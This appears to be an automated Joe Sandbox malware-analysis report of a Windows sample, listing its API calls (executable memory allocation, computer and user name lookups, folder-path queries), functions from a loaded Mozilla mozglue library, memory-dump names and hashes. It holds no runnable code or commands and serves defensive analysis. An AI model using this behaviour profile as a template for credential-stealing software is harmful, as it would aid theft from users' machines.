VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: bff2cd72ca51f604b8cae6ffaccc6788292cd5c635fa360249288f38c6295135
Instruction ID: 1e55e6aee22da07579867dcc14e26085db0c1923c06382e7ddd462ac09197dec
Opcode Fuzzy Hash: bff2cd72ca51f604b8cae6ffaccc6788292cd5c635fa360249288f38c6295135
Instruction Fuzzy Hash: 6041D474A00209EFCB54CF58C494BADBBB1FF44314F1486A9E949AB385D735EA91CF84

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416CBC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,00416CBC), ref: 004010F7

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 4ccb3339a7f6084aabfd7cf6baf65b53e8baa26228d10618978cb16090ab9117
Instruction ID: a2dd58c0224e163af538114889642f36ecbeef109afe3d50a53e5cb7169f74e2
Opcode Fuzzy Hash: 4ccb3339a7f6084aabfd7cf6baf65b53e8baa26228d10618978cb16090ab9117
Instruction Fuzzy Hash: 74F0E2B1A42208BBE7149AA4AC59FAFB799E705B04F300459F540E3290D571AF00DAA4

Function 00418F20 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00410277,?,00000000,?,00000000,00420DB2,00420DAF), ref: 00418F2F

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e4e61478786545620c941bfdebde28148ee30d40bfd2ffe50c48c5d67029bfc3
Instruction ID: 622f2f336d6b1c39152e8ed1c6124f6159486e78b27092244718ebba6cc61b65
Opcode Fuzzy Hash: e4e61478786545620c941bfdebde28148ee30d40bfd2ffe50c48c5d67029bfc3
Instruction Fuzzy Hash: 7EF01C70D0520CEBCB00EF94D4496DDBB75EB00324F10819AE82967280DB385B96CB89

Function 00418F70 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 6d5c486f1174f401a7d52f4a33802c5c22497fe214560b0ce90e5b19e21db00a
Instruction ID: e79076dc3140f9edc5567924fb21932d6a0b2d79ef3805787682db2ce51b8011
Opcode Fuzzy Hash: 6d5c486f1174f401a7d52f4a33802c5c22497fe214560b0ce90e5b19e21db00a
Instruction Fuzzy Hash: 92E0127194434C6BDB51DB50CC96FDD776D9B44B11F004295BA0C5B1C0DE70AB858B95

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
Part of subcall function 00417A70: HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
Part of subcall function 00417A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Part of subcall function 004179E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
Part of subcall function 004179E0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
Part of subcall function 004179E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: dcd40bd9b7440eb8545f2694ec48fb4b44b4fea9788a6d776e7c72e508f0613a
Instruction ID: bcf4cddec8ba3652d3daa4bfa83a7295d39fc22ea0064294e7a9f420d8d9705c
Opcode Fuzzy Hash: dcd40bd9b7440eb8545f2694ec48fb4b44b4fea9788a6d776e7c72e508f0613a
Instruction Fuzzy Hash: E1E0ECB5D5820152DB1473B6AC06B5B339D5B1934EF04142FF90896252FE29F8404169

Function 00418FC0 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 4258c76c4f47740e30e0af574e778a78e5a168a413d5b1b985f8475468444836
Instruction ID: 2ef851ca14c40c78e639e083eff5f81397fed5015ff254102f8bdb6ea656854d
Opcode Fuzzy Hash: 4258c76c4f47740e30e0af574e778a78e5a168a413d5b1b985f8475468444836
Instruction Fuzzy Hash: 3901E434904108EBCB15DF98C595BEDBBB1AF08308F24809AE9056B381C379AE84EF49

Function 00409910 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,004108B9,?,?), ref: 00409918

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 3912ae89892860816b228f59aaf213fb868172a610b0e449912dea322eeca367
Instruction ID: 7a81cf42230454625edcc1d807e760a9f48c6c1e1b7ee97c20b10c4417f739aa
Opcode Fuzzy Hash: 3912ae89892860816b228f59aaf213fb868172a610b0e449912dea322eeca367
Instruction Fuzzy Hash: F3F054B4D00208FBDB00EFA5C846B9EBBB49B08304F1085A9F905A7381E674AB14CB95

Non-executed Functions

Function 6CA85440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CA85492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA854A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA854BE
__Init_thread_footer.LIBCMT ref: 6CA854DB

Part of subcall function 6CAAAB3F: EnterCriticalSection.KERNEL32(6CAFE370,?,?,6CA73527,6CAFF6CC,?,?,?,?,?,?,?,?,6CA73284), ref: 6CAAAB49
Part of subcall function 6CAAAB3F: LeaveCriticalSection.KERNEL32(6CAFE370,?,6CA73527,6CAFF6CC,?,?,?,?,?,?,?,?,6CA73284,?,?,6CA956F6), ref: 6CAAAB7C

Part of subcall function 6CAACBE8: GetCurrentProcess.KERNEL32(?,6CA731A7), ref: 6CAACBF1
Part of subcall function 6CAACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA731A7), ref: 6CAACBFA

GetCurrentThreadId.KERNEL32 ref: 6CA854F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CA85516
GetCurrentThreadId.KERNEL32 ref: 6CA8556A
AcquireSRWLockExclusive.KERNEL32(6CAFF4B8), ref: 6CA85577
moz_xmalloc.MOZGLUE(00000070), ref: 6CA85585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CA85590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CA855E6
ReleaseSRWLockExclusive.KERNEL32(6CAFF4B8), ref: 6CA85606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA85616

Part of subcall function 6CAAAB89: EnterCriticalSection.KERNEL32(6CAFE370,?,?,?,6CA734DE,6CAFF6CC,?,?,?,?,?,?,?,6CA73284), ref: 6CAAAB94
Part of subcall function 6CAAAB89: LeaveCriticalSection.KERNEL32(6CAFE370,?,6CA734DE,6CAFF6CC,?,?,?,?,?,?,?,6CA73284,?,?,6CA956F6), ref: 6CAAABD1

GetCurrentThreadId.KERNEL32 ref: 6CA8563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA85646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CA8567C
free.MOZGLUE(?), ref: 6CA856AE

Part of subcall function 6CA95E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA95EDB
Part of subcall function 6CA95E90: memset.VCRUNTIME140(6CAD7765,000000E5,55CCCCCC), ref: 6CA95F27
Part of subcall function 6CA95E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA95FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CA856E8
GetCurrentThreadId.KERNEL32 ref: 6CA85707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CA8570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CA85729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CA8574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CA8576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CA85796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CA857B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CA857CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CA85C56
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CA85CF9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA85766
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CA85D24
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CA85AC9
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CA857AE
GeckoMain, xrefs: 6CA85554, 6CA855D5
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CA85BBE
MOZ_BASE_PROFILER_HELP, xrefs: 6CA85511
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA854A3
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA85724
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA857C5
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CA85D2B
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA85791
[I %d/%d] profiler_init, xrefs: 6CA8564E
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA8548D
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CA85D01
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CA8584E
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CA85D1C
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CA85717
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CA856E3
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA854B9
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CA85749
MOZ_PROFILER_STARTUP, xrefs: 6CA855E1
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CA85B38

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 74d27597f99bb78aa2e695fcfe6a3b110e69a22d86c8136fb4c96d135a817646
Instruction ID: d75ac71461960939992197dc3c8339d2598920eb86c32f97ae12d9edf718a812
Opcode Fuzzy Hash: 74d27597f99bb78aa2e695fcfe6a3b110e69a22d86c8136fb4c96d135a817646
Instruction Fuzzy Hash: 892215B49053018FEB049F75994865AB7F5BF4630CF08862AFD6797A41E731C8CACB62

Function 6CA86C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA86CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA86D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CA86D26

Part of subcall function 6CA8CA10: malloc.MOZGLUE(?), ref: 6CA8CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CA86D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA86D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CA86D73
free.MOZGLUE(00000000), ref: 6CA86D80
CertGetNameStringW.CRYPT32 ref: 6CA86DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CA86DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA86DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CA86DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CA86E10
CryptMsgClose.CRYPT32(00000000), ref: 6CA86E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CA86E34
CreateFileW.KERNEL32 ref: 6CA86EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CA86F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA86F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CA8709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA87103
free.MOZGLUE(00000000), ref: 6CA87153
CloseHandle.KERNEL32(?), ref: 6CA87176
__Init_thread_footer.LIBCMT ref: 6CA87209
__Init_thread_footer.LIBCMT ref: 6CA8723A
__Init_thread_footer.LIBCMT ref: 6CA8726B
__Init_thread_footer.LIBCMT ref: 6CA8729C
__Init_thread_footer.LIBCMT ref: 6CA872DC
__Init_thread_footer.LIBCMT ref: 6CA8730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA873C2
VerSetConditionMask.NTDLL ref: 6CA873F3
VerSetConditionMask.NTDLL ref: 6CA873FF
VerSetConditionMask.NTDLL ref: 6CA87406
VerSetConditionMask.NTDLL ref: 6CA8740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA8741A
moz_xmalloc.MOZGLUE(?), ref: 6CA8755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA87568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CA87585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA87598
free.MOZGLUE(00000000), ref: 6CA875AC

Part of subcall function 6CAAAB89: EnterCriticalSection.KERNEL32(6CAFE370,?,?,?,6CA734DE,6CAFF6CC,?,?,?,?,?,?,?,6CA73284), ref: 6CAAAB94
Part of subcall function 6CAAAB89: LeaveCriticalSection.KERNEL32(6CAFE370,?,6CA734DE,6CAFF6CC,?,?,?,?,?,?,?,6CA73284,?,?,6CA956F6), ref: 6CAAABD1

Strings

wintrust.dll, xrefs: 6CA872CD
CryptCATAdminReleaseCatalogContext, xrefs: 6CA872C8
(, xrefs: 6CA8768A
SHA256, xrefs: 6CA86EC0

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 564a37d919d008d3a48163ab16c995a671fcaf7875505e922687b3e36ff295bb
Instruction ID: 06a552e481ab7a244af2112986153696227b7fd9c073b1085643795f67a038b4
Opcode Fuzzy Hash: 564a37d919d008d3a48163ab16c995a671fcaf7875505e922687b3e36ff295bb
Instruction Fuzzy Hash: 4752E3B1A013199FEB259F24DC88BAA77B8FB45708F048199F518D7640DB30AEC5CFA1

Function 6CAB0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

